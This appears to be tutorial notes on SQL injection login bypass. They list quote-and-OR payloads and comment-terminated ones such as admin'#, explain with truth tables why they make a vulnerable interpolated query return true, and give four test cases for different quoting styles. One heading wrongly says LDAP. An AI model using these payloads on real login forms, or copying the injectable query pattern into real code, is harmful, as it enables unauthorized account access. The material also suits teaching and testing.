SQLinjection - Authentication Bypass

'or''='

"or""="

')or(''='

")or(""="

username=admin
pwd=admin123

SELECT * FROM users WHERE username='$usrinp' AND password='$pwdinp'

SELECT * FROM users WHERE username='admin' AND password='admin123'

T
AND T

AND

T T T
T F F
F T F
F F F

'or''='

SELECT * FROM users WHERE username=''or''='' AND password=''OR''=''

F OR T =T AND F
OR T =T

OR

T T T
T F T
F T T
F F F
TEST CASE 1:

SELECT * FROM users WHERE username='$usrinp' AND password='$pwdinp'

'or''='

TEST CASE 2:

SELECT * FROM users WHERE username="$usrinp" AND password="$pwdinp"

"or""="

LDAP Injection - Authentication Bypass

TEST CASE 3:

SELECT * FROM users WHERE username=('$usrinp') AND

password=('$pwdinp')

')or(''='

TEST CASE 4:

SELECT * FROM users WHERE username=("$usrinp") AND

password=("$pwdinp")

")or(""="

#comment
-- comment

admin'#

'or''=''#
"or""=""#
')or(''='')#
")or(""="")#
SELECT * FROM users WHERE username='admin'#' AND password='$pwdinp'